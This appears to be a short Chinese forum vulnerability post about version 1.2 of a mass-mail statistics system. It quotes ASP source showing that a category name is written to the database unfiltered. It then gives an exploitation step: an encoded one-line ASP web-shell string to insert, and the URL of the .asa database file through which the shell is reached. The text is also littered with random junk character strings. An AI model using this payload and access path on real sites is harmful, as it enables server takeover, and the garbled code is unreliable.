铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
% w, ^8 t% j4 t
6 b. n7 Z& C4 a; J4 ]: Q# S2 aIF Request.QueryString("Action")="del" Then
. c" W8 z5 N; Q( l) P- {! A4 c; SID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
- x) Y# I. [7 z  `3 d# eTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
2 m% g- w$ k: ]Sql="Select * From Fenlei Order by id Desc "
! Z3 ?( J5 f, eRs.Open Sql,Conn,1,3
0 ]: x, m" S1 m. t8 V2 s1 t7 ARs.Addnew
Rs("Typename")=Tname
, H: u' e: J* g3 i. m1 k'略
9 |; S; R6 J" D- o% U3 v, uSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
' @# C" W$ R6 L" c4 ERs.Open Sql,Conn,1,1
+ |5 H( ?/ Q; J& }/ C& l'略
%>
  a5 j7 p' L9 R/ ]- d

: \# {4 N3 O! f, T" [7 @
没有过滤，直接写入数据库。

( R5 I8 M( \. Y9 {利用方法：

- `9 ~9 `# v" v. j插入：┼攠數畣整爠煥敵瑳∨≡┩>

: q6 v! H" d4 G( \# @3 N# D- \
  u; L  |. |) t9 @% i9 t9 V/ x连接： http://www.xxx.com/###tongbaner.asa
. ?8 D* R: A1 @& j7 I. T'默认安装文件：
'install.asp